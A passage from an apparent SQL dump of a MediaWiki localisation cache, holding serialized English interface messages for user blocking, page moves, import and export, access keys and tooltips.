username:\";'),('en','messages:sp-contributions-submit','s:6:\"Search\";'),('en','messages:sp-contributions-explain','s:0:\"\";'),('en','messages:sp-contributions-footer','s:1:\"-\";'),('en','messages:sp-contributions-footer-anon','s:1:\"-\";'),('en','messages:whatlinkshere','s:15:\"What links here\";'),('en','messages:whatlinkshere-title','s:23:\"Pages that link to \"$1\"\";'),('en','messages:whatlinkshere-summary','s:0:\"\";'),('en','messages:whatlinkshere-page','s:5:\"Page:\";'),('en','messages:whatlinkshere-backlink','s:6:\"← $1\";'),('en','messages:linkshere','s:42:\"The following pages link to \'\'\'[[:$1]]\'\'\':\";'),('en','messages:nolinkshere','s:31:\"No pages link to \'\'\'[[:$1]]\'\'\'.\";'),('en','messages:nolinkshere-ns','s:55:\"No pages link to \'\'\'[[:$1]]\'\'\' in the chosen namespace.\";'),('en','messages:isredirect','s:13:\"redirect page\";'),('en','messages:istemplate','s:12:\"transclusion\";'),('en','messages:isimage','s:10:\"image link\";'),('en','messages:whatlinkshere-prev','s:34:\"{{PLURAL:$1|previous|previous $1}}\";'),('en','messages:whatlinkshere-next','s:26:\"{{PLURAL:$1|next|next $1}}\";'),('en','messages:whatlinkshere-links','s:9:\"← links\";'),('en','messages:whatlinkshere-hideredirs','s:12:\"$1 redirects\";'),('en','messages:whatlinkshere-hidetrans','s:16:\"$1 transclusions\";'),('en','messages:whatlinkshere-hidelinks','s:8:\"$1 links\";'),('en','messages:whatlinkshere-hideimages','s:14:\"$1 image links\";'),('en','messages:whatlinkshere-filters','s:7:\"Filters\";'),('en','messages:blockip','s:10:\"Block user\";'),('en','messages:blockip-title','s:10:\"Block user\";'),('en','messages:blockip-legend','s:10:\"Block user\";'),('en','messages:blockiptext','s:280:\"Use the form below to block write access from a specific IP address or username.\nThis should be done only to prevent vandalism, and in accordance with [[{{MediaWiki:Policy-url}}|policy]].\nFill in a specific reason below (for example, citing particular pages that were vandalized).\";'),('en','messages:ipaddress','s:11:\"IP address:\";'),('en','messages:ipadressorusername','s:23:\"IP address or username:\";'),('en','messages:ipbexpiry','s:7:\"Expiry:\";'),('en','messages:ipbreason','s:7:\"Reason:\";'),('en','messages:ipbreasonotherlist','s:12:\"Other reason\";'),('en','messages:ipbreason-dropdown','s:253:\"*Common block reasons\n** Inserting false information\n** Removing content from pages\n** Spamming links to external sites\n** Inserting nonsense/gibberish into pages\n** Intimidating behaviour/harassment\n** Abusing multiple accounts\n** Unacceptable username\";'),('en','messages:ipbanononly','s:26:\"Block anonymous users only\";'),('en','messages:ipbcreateaccount','s:24:\"Prevent account creation\";'),('en','messages:ipbemailban','s:32:\"Prevent user from sending e-mail\";'),('en','messages:ipbenableautoblock','s:112:\"Automatically block the last IP address used by this user, and any subsequent IP addresses they try to edit from\";'),('en','messages:ipbsubmit','s:15:\"Block this user\";'),('en','messages:ipbother','s:11:\"Other time:\";'),('en','messages:ipboptions','s:155:\"2 hours:2 hours,1 day:1 day,3 days:3 days,1 week:1 week,2 weeks:2 weeks,1 month:1 month,3 months:3 months,6 months:6 months,1 year:1 year,infinite:infinite\";'),('en','messages:ipbotheroption','s:5:\"other\";'),('en','messages:ipbotherreason','s:24:\"Other/additional reason:\";'),('en','messages:ipbhidename','s:34:\"Hide username from edits and lists\";'),('en','messages:ipbwatchuser','s:37:\"Watch this user\'s user and talk pages\";'),('en','messages:ipballowusertalk','s:51:\"Allow this user to edit own talk page while blocked\";'),('en','messages:ipb-change-block','s:37:\"Re-block the user with these settings\";'),('en','messages:badipaddress','s:18:\"Invalid IP address\";'),('en','messages:blockipsuccesssub','s:15:\"Block succeeded\";'),('en','messages:blockipsuccesstext','s:115:\"[[Special:Contributions/$1|$1]] has been blocked.<br />\nSee [[Special:IPBlockList|IP block list]] to review blocks.\";'),('en','messages:ipb-edit-dropdown','s:18:\"Edit block reasons\";'),('en','messages:ipb-unblock-addr','s:10:\"Unblock $1\";'),('en','messages:ipb-unblock','s:32:\"Unblock a username or IP address\";'),('en','messages:ipb-blocklist-addr','s:22:\"Existing blocks for $1\";'),('en','messages:ipb-blocklist','s:20:\"View existing blocks\";'),('en','messages:ipb-blocklist-contribs','s:20:\"Contributions for $1\";'),('en','messages:unblockip','s:12:\"Unblock user\";'),('en','messages:unblockiptext','s:90:\"Use the form below to restore write access to a previously blocked IP address or username.\";'),('en','messages:ipusubmit','s:17:\"Remove this block\";'),('en','messages:unblocked','s:33:\"[[User:$1|$1]] has been unblocked\";'),('en','messages:unblocked-id','s:25:\"Block $1 has been removed\";'),('en','messages:ipblocklist','s:34:\"Blocked IP addresses and usernames\";'),('en','messages:ipblocklist-legend','s:19:\"Find a blocked user\";'),('en','messages:ipblocklist-username','s:23:\"Username or IP address:\";'),('en','messages:ipblocklist-sh-userblocks','s:17:\"$1 account blocks\";'),('en','messages:ipblocklist-sh-tempblocks','s:19:\"$1 temporary blocks\";'),('en','messages:ipblocklist-sh-addressblocks','s:19:\"$1 single IP blocks\";'),('en','messages:ipblocklist-summary','s:0:\"\";'),('en','messages:ipblocklist-submit','s:6:\"Search\";'),('en','messages:ipblocklist-localblock','s:11:\"Local block\";'),('en','messages:ipblocklist-otherblocks','s:32:\"Other {{PLURAL:$1|block|blocks}}\";'),('en','messages:blocklistline','s:22:\"$1, $2 blocked $3 ($4)\";'),('en','messages:infiniteblock','s:8:\"infinite\";'),('en','messages:expiringblock','s:19:\"expires on $1 at $2\";'),('en','messages:anononlyblock','s:10:\"anon. only\";'),('en','messages:noautoblockblock','s:18:\"autoblock disabled\";'),('en','messages:createaccountblock','s:24:\"account creation blocked\";'),('en','messages:emailblock','s:14:\"e-mail blocked\";'),('en','messages:blocklist-nousertalk','s:25:\"cannot edit own talk page\";'),('en','messages:ipblocklist-empty','s:23:\"The blocklist is empty.\";'),('en','messages:ipblocklist-no-results','s:52:\"The requested IP address or username is not blocked.\";'),('en','messages:blocklink','s:5:\"block\";'),('en','messages:unblocklink','s:7:\"unblock\";'),('en','messages:change-blocklink','s:12:\"change block\";'),('en','messages:contribslink','s:8:\"contribs\";'),('en','messages:autoblocker','s:120:\"Autoblocked because your IP address has been recently used by \"[[User:$1|$1]]\".\nThe reason given for $1\'s block is: \"$2\"\";'),('en','messages:blocklogpage','s:9:\"Block log\";'),('en','messages:blocklog-showlog','s:85:\"This user has been blocked previously.\nThe block log is provided below for reference:\";'),('en','messages:blocklog-showsuppresslog','s:99:\"This user has been blocked and hidden previously.\nThe suppress log is provided below for reference:\";'),('en','messages:blocklogentry','s:43:\"blocked [[$1]] with an expiry time of $2 $3\";'),('en','messages:reblock-logentry','s:62:\"changed block settings for [[$1]] with an expiry time of $2 $3\";'),('en','messages:blocklogtext','s:206:\"This is a log of user blocking and unblocking actions.\nAutomatically blocked IP addresses are not listed.\nSee the [[Special:IPBlockList|IP block list]] for the list of currently operational bans and blocks.\";'),('en','messages:unblocklogentry','s:12:\"unblocked $1\";'),('en','messages:block-log-flags-anononly','s:20:\"anonymous users only\";'),('en','messages:block-log-flags-nocreate','s:25:\"account creation disabled\";'),('en','messages:block-log-flags-noautoblock','s:18:\"autoblock disabled\";'),('en','messages:block-log-flags-noemail','s:14:\"e-mail blocked\";'),('en','messages:block-log-flags-nousertalk','s:25:\"cannot edit own talk page\";'),('en','messages:block-log-flags-angry-autoblock','s:26:\"enhanced autoblock enabled\";'),('en','messages:block-log-flags-hiddenname','s:15:\"username hidden\";'),('en','messages:range_block_disabled','s:61:\"The administrator ability to create range blocks is disabled.\";'),('en','messages:ipb_expiry_invalid','s:20:\"Expiry time invalid.\";'),('en','messages:ipb_expiry_temp','s:41:\"Hidden username blocks must be permanent.\";'),('en','messages:ipb_hide_invalid','s:60:\"Unable to suppress this account; it may have too many edits.\";'),('en','messages:ipb_already_blocked','s:23:\"\"$1\" is already blocked\";'),('en','messages:ipb-needreblock','s:80:\"== Already blocked ==\n$1 is already blocked.\nDo you want to change the settings?\";'),('en','messages:ipb-otherblocks-header','s:32:\"Other {{PLURAL:$1|block|blocks}}\";'),('en','messages:ipb_cant_unblock','s:65:\"Error: Block ID $1 not found.\nIt may have been unblocked already.\";'),('en','messages:ipb_blocked_as_range','s:146:\"Error: The IP address $1 is not blocked directly and cannot be unblocked.\nIt is, however, blocked as part of the range $2, which can be unblocked.\";'),('en','messages:ip_range_invalid','s:17:\"Invalid IP range.\";'),('en','messages:ip_range_toolarge','s:45:\"Range blocks larger than /$1 are not allowed.\";'),('en','messages:blockme','s:8:\"Block me\";'),('en','messages:proxyblocker','s:13:\"Proxy blocker\";'),('en','messages:proxyblocker-disabled','s:26:\"This function is disabled.\";'),('en','messages:proxyblockreason','s:173:\"Your IP address has been blocked because it is an open proxy.\nPlease contact your Internet service provider or tech support and inform them of this serious security problem.\";'),('en','messages:proxyblocksuccess','s:5:\"Done.\";'),('en','messages:sorbs','s:5:\"DNSBL\";'),('en','messages:sorbsreason','s:77:\"Your IP address is listed as an open proxy in the DNSBL used by {{SITENAME}}.\";'),('en','messages:sorbs_create_account_reason','s:106:\"Your IP address is listed as an open proxy in the DNSBL used by {{SITENAME}}.\nYou cannot create an account\";'),('en','messages:cant-block-while-blocked','s:51:\"You cannot block other users while you are blocked.\";'),('en','messages:cant-see-hidden-user','s:152:\"The user you are trying to block has already been blocked and hidden.\nSince you do not have the hideuser right, you cannot see or edit the user\'s block.\";'),('en','messages:lockdb','s:13:\"Lock database\";'),('en','messages:unlockdb','s:15:\"Unlock database\";'),('en','messages:lockdbtext','s:294:\"Locking the database will suspend the ability of all users to edit pages, change their preferences, edit their watchlists, and other things requiring changes in the database.\nPlease confirm that this is what you intend to do, and that you will unlock the database when your maintenance is done.\";'),('en','messages:unlockdbtext','s:227:\"Unlocking the database will restore the ability of all users to edit pages, change their preferences, edit their watchlists, and other things requiring changes in the database.\nPlease confirm that this is what you intend to do.\";'),('en','messages:lockconfirm','s:40:\"Yes, I really want to lock the database.\";'),('en','messages:unlockconfirm','s:42:\"Yes, I really want to unlock the database.\";'),('en','messages:lockbtn','s:13:\"Lock database\";'),('en','messages:unlockbtn','s:15:\"Unlock database\";'),('en','messages:locknoconfirm','s:39:\"You did not check the confirmation box.\";'),('en','messages:lockdbsuccesssub','s:23:\"Database lock succeeded\";'),('en','messages:unlockdbsuccesssub','s:21:\"Database lock removed\";'),('en','messages:lockdbsuccesstext','s:120:\"The database has been locked.<br />\nRemember to [[Special:UnlockDB|remove the lock]] after your maintenance is complete.\";'),('en','messages:unlockdbsuccesstext','s:31:\"The database has been unlocked.\";'),('en','messages:lockfilenotwritable','s:116:\"The database lock file is not writable.\nTo lock or unlock the database, this needs to be writable by the web server.\";'),('en','messages:databasenotlocked','s:27:\"The database is not locked.\";'),('en','messages:move-page','s:7:\"Move $1\";'),('en','messages:move-page-backlink','s:6:\"← $1\";'),('en','messages:move-page-legend','s:9:\"Move page\";'),('en','messages:movepagetext','s:883:\"Using the form below will rename a page, moving all of its history to the new name.\nThe old title will become a redirect page to the new title.\nYou can update redirects that point to the original title automatically.\nIf you choose not to, be sure to check for [[Special:DoubleRedirects|double]] or [[Special:BrokenRedirects|broken redirects]].\nYou are responsible for making sure that links continue to point where they are supposed to go.\n\nNote that the page will \'\'\'not\'\'\' be moved if there is already a page at the new title, unless it is empty or a redirect and has no past edit history.\nThis means that you can rename a page back to where it was renamed from if you make a mistake, and you cannot overwrite an existing page.\n\n\'\'\'Warning!\'\'\'\nThis can be a drastic and unexpected change for a popular page;\nplease be sure you understand the consequences of this before proceeding.\";'),('en','messages:movepagetalktext','s:247:\"The associated talk page will be automatically moved along with it \'\'\'unless:\'\'\'\n*A non-empty talk page already exists under the new name, or\n*You uncheck the box below.\n\nIn those cases, you will have to move or merge the page manually if desired.\";'),('en','messages:movearticle','s:10:\"Move page:\";'),('en','messages:moveuserpage-warning','s:132:\"\'\'\'Warning:\'\'\' You are about to move a user page. Please note that only the page will be moved and the user will \'\'not\'\' be renamed.\";'),('en','messages:movenologin','s:13:\"Not logged in\";'),('en','messages:movenologintext','s:81:\"You must be a registered user and [[Special:UserLogin|logged in]] to move a page.\";'),('en','messages:movenotallowed','s:41:\"You do not have permission to move pages.\";'),('en','messages:movenotallowedfile','s:41:\"You do not have permission to move files.\";'),('en','messages:cant-move-user-page','s:68:\"You do not have permission to move user pages (apart from subpages).\";'),('en','messages:cant-move-to-user-page','s:84:\"You do not have permission to move a page to a user page (except to a user subpage).\";'),('en','messages:newtitle','s:13:\"To new title:\";'),('en','messages:move-watch','s:33:\"Watch source page and target page\";'),('en','messages:movepagebtn','s:9:\"Move page\";'),('en','messages:pagemovedsub','s:14:\"Move succeeded\";'),('en','messages:movepage-moved','s:33:\"\'\'\'\"$1\" has been moved to \"$2\"\'\'\'\";'),('en','messages:movepage-moved-redirect','s:28:\"A redirect has been created.\";'),('en','messages:movepage-moved-noredirect','s:47:\"The creation of a redirect has been suppressed.\";'),('en','messages:articleexists','s:105:\"A page of that name already exists, or the name you have chosen is not valid.\nPlease choose another name.\";'),('en','messages:cantmove-titleprotected','s:95:\"You cannot move a page to this location, because the new title has been protected from creation\";'),('en','messages:talkexists','s:155:\"\'\'\'The page itself was moved successfully, but the talk page could not be moved because one already exists at the new title.\nPlease merge them manually.\'\'\'\";'),('en','messages:movedto','s:8:\"moved to\";'),('en','messages:movetalk','s:25:\"Move associated talk page\";'),('en','messages:move-subpages','s:24:\"Move subpages (up to $1)\";'),('en','messages:move-talk-subpages','s:37:\"Move subpages of talk page (up to $1)\";'),('en','messages:movepage-page-exists','s:67:\"The page $1 already exists and cannot be automatically overwritten.\";'),('en','messages:movepage-page-moved','s:33:\"The page $1 has been moved to $2.\";'),('en','messages:movepage-page-unmoved','s:37:\"The page $1 could not be moved to $2.\";'),('en','messages:movepage-max-pages','s:98:\"The maximum of $1 {{PLURAL:$1|page|pages}} has been moved and no more will be moved automatically.\";'),('en','messages:1movedto2','s:22:\"moved [[$1]] to [[$2]]\";'),('en','messages:1movedto2_redir','s:36:\"moved [[$1]] to [[$2]] over redirect\";'),('en','messages:move-redirect-suppressed','s:19:\"redirect suppressed\";'),('en','messages:movelogpage','s:8:\"Move log\";'),('en','messages:movelogpagetext','s:34:\"Below is a list of all page moves.\";'),('en','messages:movesubpage','s:30:\"{{PLURAL:$1|Subpage|Subpages}}\";'),('en','messages:movesubpagetext','s:60:\"This page has $1 {{PLURAL:$1|subpage|subpages}} shown below.\";'),('en','messages:movenosubpage','s:26:\"This page has no subpages.\";'),('en','messages:movereason','s:7:\"Reason:\";'),('en','messages:revertmove','s:6:\"revert\";'),('en','messages:delete_and_move','s:15:\"Delete and move\";'),('en','messages:delete_and_move_text','s:121:\"== Deletion required ==\nThe destination page \"[[:$1]]\" already exists.\nDo you want to delete it to make way for the move?\";'),('en','messages:delete_and_move_confirm','s:20:\"Yes, delete the page\";'),('en','messages:delete_and_move_reason','s:28:\"Deleted to make way for move\";'),('en','messages:selfmove','s:75:\"Source and destination titles are the same;\ncannot move a page over itself.\";'),('en','messages:immobile-source-namespace','s:35:\"Cannot move pages in namespace \"$1\"\";'),('en','messages:immobile-target-namespace','s:37:\"Cannot move pages into namespace \"$1\"\";'),('en','messages:immobile-target-namespace-iw','s:51:\"Interwiki link is not a valid target for page move.\";'),('en','messages:immobile-source-page','s:25:\"This page is not movable.\";'),('en','messages:immobile-target-page','s:38:\"Cannot move to that destination title.\";'),('en','messages:imagenocrossnamespace','s:38:\"Cannot move file to non-file namespace\";'),('en','messages:imagetypemismatch','s:46:\"The new file extension does not match its type\";'),('en','messages:imageinvalidfilename','s:31:\"The target file name is invalid\";'),('en','messages:fix-double-redirects','s:53:\"Update any redirects that point to the original title\";'),('en','messages:move-leave-redirect','s:23:\"Leave a redirect behind\";'),('en','messages:protectedpagemovewarning','s:156:\"\'\'\'Warning:\'\'\' This page has been locked so that only users with administrator privileges can move it.\nThe latest log entry is provided below for reference:\";'),('en','messages:semiprotectedpagemovewarning','s:134:\"\'\'\'Note:\'\'\' This page has been locked so that only registered users can move it.\nThe latest log entry is provided below for reference:\";'),('en','messages:move-over-sharedrepo','s:115:\"== File exists ==\n[[:$1]] exists on a shared repository. Moving a file to this title will override the shared file.\";'),('en','messages:file-exists-sharedrepo','s:90:\"The file name chosen is already in use on a shared repository.\nPlease choose another name.\";'),('en','messages:export','s:12:\"Export pages\";'),('en','messages:exporttext','s:588:\"You can export the text and editing history of a particular page or set of pages wrapped in some XML.\nThis can be imported into another wiki using MediaWiki via the [[Special:Import|import page]].\n\nTo export pages, enter the titles in the text box below, one title per line, and select whether you want the current revision as well as all old revisions, with the page history lines, or the current revision with the info about the last edit.\n\nIn the latter case you can also use a link, for example [[{{#Special:Export}}/{{MediaWiki:Mainpage}}]] for the page \"[[{{MediaWiki:Mainpage}}]]\".\";'),('en','messages:exportcuronly','s:55:\"Include only the current revision, not the full history\";'),('en','messages:exportnohistory','s:116:\"----\n\'\'\'Note:\'\'\' Exporting the full history of pages through this form has been disabled due to performance reasons.\";'),('en','messages:export-submit','s:6:\"Export\";'),('en','messages:export-addcattext','s:24:\"Add pages from category:\";'),('en','messages:export-addcat','s:3:\"Add\";'),('en','messages:export-addnstext','s:25:\"Add pages from namespace:\";'),('en','messages:export-addns','s:3:\"Add\";'),('en','messages:export-download','s:12:\"Save as file\";'),('en','messages:export-templates','s:17:\"Include templates\";'),('en','messages:export-pagelinks','s:35:\"Include linked pages to a depth of:\";'),('en','messages:allmessages','s:15:\"System messages\";'),('en','messages:allmessagesname','s:4:\"Name\";'),('en','messages:allmessagesdefault','s:20:\"Default message text\";'),('en','messages:allmessagescurrent','s:20:\"Current message text\";'),('en','messages:allmessagestext','s:266:\"This is a list of system messages available in the MediaWiki namespace.\nPlease visit [http://www.mediawiki.org/wiki/Localisation MediaWiki Localisation] and [http://translatewiki.net translatewiki.net] if you wish to contribute to the generic MediaWiki localisation.\";'),('en','messages:allmessagesnotsupportedDB','s:80:\"This page cannot be used because \'\'\'$wgUseDatabaseMessages\'\'\' has been disabled.\";'),('en','messages:allmessages-filter-legend','s:6:\"Filter\";'),('en','messages:allmessages-filter','s:30:\"Filter by customisation state:\";'),('en','messages:allmessages-filter-unmodified','s:10:\"Unmodified\";'),('en','messages:allmessages-filter-all','s:3:\"All\";'),('en','messages:allmessages-filter-modified','s:8:\"Modified\";'),('en','messages:allmessages-prefix','s:17:\"Filter by prefix:\";'),('en','messages:allmessages-language','s:9:\"Language:\";'),('en','messages:allmessages-filter-submit','s:2:\"Go\";'),('en','messages:thumbnail-more','s:7:\"Enlarge\";'),('en','messages:filemissing','s:12:\"File missing\";'),('en','messages:thumbnail_error','s:28:\"Error creating thumbnail: $1\";'),('en','messages:djvu_page_error','s:22:\"DjVu page out of range\";'),('en','messages:djvu_no_xml','s:33:\"Unable to fetch XML for DjVu file\";'),('en','messages:thumbnail_invalid_params','s:28:\"Invalid thumbnail parameters\";'),('en','messages:thumbnail_dest_directory','s:38:\"Unable to create destination directory\";'),('en','messages:thumbnail_image-type','s:24:\"Image type not supported\";'),('en','messages:thumbnail_gd-library','s:56:\"Incomplete GD library configuration: missing function $1\";'),('en','messages:thumbnail_image-missing','s:28:\"File seems to be missing: $1\";'),('en','messages:import','s:12:\"Import pages\";'),('en','messages:importinterwiki','s:16:\"Transwiki import\";'),('en','messages:import-interwiki-text','s:174:\"Select a wiki and page title to import.\nRevision dates and editors\' names will be preserved.\nAll transwiki import actions are logged at the [[Special:Log/import|import log]].\";'),('en','messages:import-interwiki-source','s:17:\"Source wiki/page:\";'),('en','messages:import-interwiki-history','s:40:\"Copy all history revisions for this page\";'),('en','messages:import-interwiki-templates','s:21:\"Include all templates\";'),('en','messages:import-interwiki-submit','s:6:\"Import\";'),('en','messages:import-interwiki-namespace','s:22:\"Destination namespace:\";'),('en','messages:import-upload-filename','s:9:\"Filename:\";'),('en','messages:import-comment','s:8:\"Comment:\";'),('en','messages:importtext','s:133:\"Please export the file from the source wiki using the [[Special:Export|export utility]].\nSave it to your computer and upload it here.\";'),('en','messages:importstart','s:18:\"Importing pages...\";'),('en','messages:import-revision-count','s:35:\"$1 {{PLURAL:$1|revision|revisions}}\";'),('en','messages:importnopages','s:19:\"No pages to import.\";'),('en','messages:importfailed','s:34:\"Import failed: <nowiki>$1</nowiki>\";'),('en','messages:importunknownsource','s:26:\"Unknown import source type\";'),('en','messages:importcantopen','s:26:\"Could not open import file\";'),('en','messages:importbadinterwiki','s:18:\"Bad interwiki link\";'),('en','messages:importnotext','s:16:\"Empty or no text\";'),('en','messages:importsuccess','s:16:\"Import finished!\";'),('en','messages:importhistoryconflict','s:72:\"Conflicting history revision exists (may have imported this page before)\";'),('en','messages:importnosources','s:86:\"No transwiki import sources have been defined and direct history uploads are disabled.\";'),('en','messages:importnofile','s:28:\"No import file was uploaded.\";'),('en','messages:importuploaderrorsize','s:78:\"Upload of import file failed.\nThe file is bigger than the allowed upload size.\";'),('en','messages:importuploaderrorpartial','s:67:\"Upload of import file failed.\nThe file was only partially uploaded.\";'),('en','messages:importuploaderrortemp','s:60:\"Upload of import file failed.\nA temporary folder is missing.\";'),('en','messages:import-parse-failure','s:24:\"XML import parse failure\";'),('en','messages:import-noarticle','s:18:\"No page to import!\";'),('en','messages:import-nonewrevisions','s:39:\"All revisions were previously imported.\";'),('en','messages:xml-error-string','s:35:\"$1 at line $2, col $3 (byte $4): $5\";'),('en','messages:import-upload','s:15:\"Upload XML data\";'),('en','messages:import-token-mismatch','s:39:\"Loss of session data.\nPlease try again.\";'),('en','messages:import-invalid-interwiki','s:38:\"Cannot import from the specified wiki.\";'),('en','messages:importlogpage','s:10:\"Import log\";'),('en','messages:importlogpagetext','s:67:\"Administrative imports of pages with edit history from other wikis.\";'),('en','messages:import-logentry-upload','s:30:\"imported [[$1]] by file upload\";'),('en','messages:import-logentry-upload-detail','s:35:\"$1 {{PLURAL:$1|revision|revisions}}\";'),('en','messages:import-logentry-interwiki','s:14:\"transwikied $1\";'),('en','messages:import-logentry-interwiki-detail','s:43:\"$1 {{PLURAL:$1|revision|revisions}} from $2\";'),('en','messages:accesskey-pt-userpage','s:1:\".\";'),('en','messages:accesskey-pt-anonuserpage','s:1:\".\";'),('en','messages:accesskey-pt-mytalk','s:1:\"n\";'),('en','messages:accesskey-pt-anontalk','s:1:\"n\";'),('en','messages:accesskey-pt-preferences','s:0:\"\";'),('en','messages:accesskey-pt-watchlist','s:1:\"l\";'),('en','messages:accesskey-pt-mycontris','s:1:\"y\";'),('en','messages:accesskey-pt-login','s:1:\"o\";'),('en','messages:accesskey-pt-anonlogin','s:1:\"o\";'),('en','messages:accesskey-pt-logout','s:0:\"\";'),('en','messages:accesskey-ca-talk','s:1:\"t\";'),('en','messages:accesskey-ca-edit','s:1:\"e\";'),('en','messages:accesskey-ca-addsection','s:1:\"+\";'),('en','messages:accesskey-ca-viewsource','s:1:\"e\";'),('en','messages:accesskey-ca-history','s:1:\"h\";'),('en','messages:accesskey-ca-protect','s:1:\"=\";'),('en','messages:accesskey-ca-unprotect','s:1:\"=\";'),('en','messages:accesskey-ca-delete','s:1:\"d\";'),('en','messages:accesskey-ca-undelete','s:1:\"d\";'),('en','messages:accesskey-ca-move','s:1:\"m\";'),('en','messages:accesskey-ca-watch','s:1:\"w\";'),('en','messages:accesskey-ca-unwatch','s:1:\"w\";'),('en','messages:accesskey-search','s:1:\"f\";'),('en','messages:accesskey-search-go','s:0:\"\";'),('en','messages:accesskey-search-fulltext','s:0:\"\";'),('en','messages:accesskey-p-logo','s:0:\"\";'),('en','messages:accesskey-n-mainpage','s:1:\"z\";'),('en','messages:accesskey-n-mainpage-description','s:1:\"z\";'),('en','messages:accesskey-n-portal','s:0:\"\";'),('en','messages:accesskey-n-currentevents','s:0:\"\";'),('en','messages:accesskey-n-recentchanges','s:1:\"r\";'),('en','messages:accesskey-n-randompage','s:1:\"x\";'),('en','messages:accesskey-n-help','s:0:\"\";'),('en','messages:accesskey-t-whatlinkshere','s:1:\"j\";'),('en','messages:accesskey-t-recentchangeslinked','s:1:\"k\";'),('en','messages:accesskey-feed-rss','s:0:\"\";'),('en','messages:accesskey-feed-atom','s:0:\"\";'),('en','messages:accesskey-t-contributions','s:0:\"\";'),('en','messages:accesskey-t-emailuser','s:0:\"\";'),('en','messages:accesskey-t-permalink','s:0:\"\";'),('en','messages:accesskey-t-print','s:1:\"p\";'),('en','messages:accesskey-t-upload','s:1:\"u\";'),('en','messages:accesskey-t-specialpages','s:1:\"q\";'),('en','messages:accesskey-ca-nstab-main','s:1:\"c\";'),('en','messages:accesskey-ca-nstab-user','s:1:\"c\";'),('en','messages:accesskey-ca-nstab-media','s:1:\"c\";'),('en','messages:accesskey-ca-nstab-special','s:0:\"\";'),('en','messages:accesskey-ca-nstab-project','s:1:\"a\";'),('en','messages:accesskey-ca-nstab-image','s:1:\"c\";'),('en','messages:accesskey-ca-nstab-mediawiki','s:1:\"c\";'),('en','messages:accesskey-ca-nstab-template','s:1:\"c\";'),('en','messages:accesskey-ca-nstab-help','s:1:\"c\";'),('en','messages:accesskey-ca-nstab-category','s:1:\"c\";'),('en','messages:accesskey-minoredit','s:1:\"i\";'),('en','messages:accesskey-save','s:1:\"s\";'),('en','messages:accesskey-preview','s:1:\"p\";'),('en','messages:accesskey-diff','s:1:\"v\";'),('en','messages:accesskey-compareselectedversions','s:1:\"v\";'),('en','messages:accesskey-watch','s:1:\"w\";'),('en','messages:accesskey-upload','s:1:\"s\";'),('en','messages:tooltip-pt-userpage','s:14:\"Your user page\";'),('en','messages:tooltip-pt-anonuserpage','s:51:\"The user page for the IP address you are editing as\";'),('en','messages:tooltip-pt-mytalk','s:14:\"Your talk page\";'),('en','messages:tooltip-pt-anontalk','s:43:\"Discussion about edits from this IP address\";'),('en','messages:tooltip-pt-preferences','s:16:\"Your preferences\";'),('en','messages:tooltip-pt-watchlist','s:48:\"The list of pages you are monitoring for changes\";'),('en','messages:tooltip-pt-mycontris','s:26:\"List of your contributions\";'),('en','messages:tooltip-pt-login','s:58:\"You are encouraged to log in; however, it is not mandatory\";'),('en','messages:tooltip-pt-anonlogin','s:58:\"You are encouraged to log in; however, it is not mandatory\";'),('en','messages:tooltip-pt-logout','s:7:\"Log out\";'),('en','messages:tooltip-ca-talk','s:33:\"Discussion about the content page\";'),('en','messages:tooltip-ca-edit','s:67:\"You can edit this page. Please use the preview button before saving\";'),('en','messages:tooltip-ca-addsection','s:19:\"Start a new section\";'),('en','messages:tooltip-ca-viewsource','s:47:\"This page is protected.\nYou can view its source\";'),('en','messages:tooltip-ca-history','s:27:\"Past revisions of this page\";'),('en','messages:tooltip-ca-protect','s:17:\"Protect this page\";'),('en','messages:tooltip-ca-unprotect','s:19:\"Unprotect this page\";'),('en','messages:tooltip-ca-delete','s:16:\"Delete this page\";'),('en','messages:tooltip-ca-undelete','s:57:\"Restore the edits done to this page before it was deleted\";'),('en','messages:tooltip-ca-move','s:14:\"Move this page\";'),('en','messages:tooltip-ca-watch','s:31:\"Add this page to your watchlist\";'),('en','messages:tooltip-ca-unwatch','s:36:\"Remove this page from your watchlist\";'),('en','messages:tooltip-search','s:19:\"Search {{SITENAME}}\";'),('en','messages:tooltip-search-go','s:43:\"Go to a page with this exact name if exists\";'),('en','messages:tooltip-search-fulltext','s:30:\"Search the pages for this text\";'),('en','messages:tooltip-p-logo','s:19:\"Visit the main page\";'),('en','messages:tooltip-n-mainpage','s:19:\"Visit the main page\";'),('en','messages:tooltip-n-mainpage-description','s:19:\"Visit the main page\";'),('en','messages:tooltip-n-portal','s:56:\"About the project, what you can do, where to find things\";'),('en','messages:tooltip-n-currentevents','s:45:\"Find background information on current events\";'),('en','messages:tooltip-n-recentchanges','s:38:\"The list of recent changes in the wiki\";'),('en','messages:tooltip-n-randompage','s:18:\"Load a random page\";'),('en','messages:tooltip-n-help','s:21:\"The place to find out\";'),('en','messages:tooltip-t-whatlinkshere','s:37:\"List of all wiki pages that link here\";'),('en','messages:tooltip-t-recentchangeslinked','s:45:\"Recent changes in pages linked from this page\";'),('en','messages:tooltip-feed-rss','s:22:\"RSS feed for this page\";'),('en','messages:tooltip-feed-atom','s:23:\"Atom feed for this page\";'),('en','messages:tooltip-t-contributions','s:43:\"View the list of contributions of this user\";'),('en','messages:tooltip-t-emailuser','s:27:\"Send an e-mail to this user\";'),('en','messages:tooltip-t-upload','s:12:\"Upload files\";'),('en','messages:tooltip-t-specialpages','s:25:\"List of all special pages\";'),('en','messages:tooltip-t-print','s:30:\"Printable version of this page\";'),('en','messages:tooltip-t-permalink','s:43:\"Permanent link to this revision of the page\";'),('en','messages:tooltip-ca-nstab-main','s:21:\"View the content page\";'),('en','messages:tooltip-ca-nstab-user','s:18:\"View the user page\";'),('en','messages:tooltip-ca-nstab-media','s:19:\"View the media page\";'),('en','messages:tooltip-ca-nstab-special','s:55:\"This is a special page, you cannot edit the page itself\";'),('en','messages:tooltip-ca-nstab-project','s:21:\"View the project page\";'),('en','messages:tooltip-ca-nstab-image','s:18:\"View the file page\";'),('en','messages:tooltip-ca-nstab-mediawiki','s:23:\"View the system message\";'),('en','messages:tooltip-ca-nstab-template','s:17:\"View the template\";'),('en','messages:tooltip-ca-nstab-help','s:18:\"View the help page\";'),('en','messages:tooltip-ca-nstab-category','s:22:\"View the category page\";'),('en','messages:tooltip-minoredit','s:25:\"Mark this as a minor edit\";'),('en','messages:tooltip-save','s:17:\"Save your changes\";'),('en','messages:tooltip-preview','s:52:\"Preview your changes, please use this before saving!\";'),('en','messages:tooltip-diff','s:39:\"Show which changes you made to the text\";'),('en','messages:tooltip-compareselectedversions','s:67:\"See the differences between the two selected revisions of this page\";'),('en','messages:tooltip-watch','s:31:\"Add this page to your watchlist\";'),('en','messages:tooltip-recreate','s:49:\"Recreate the page 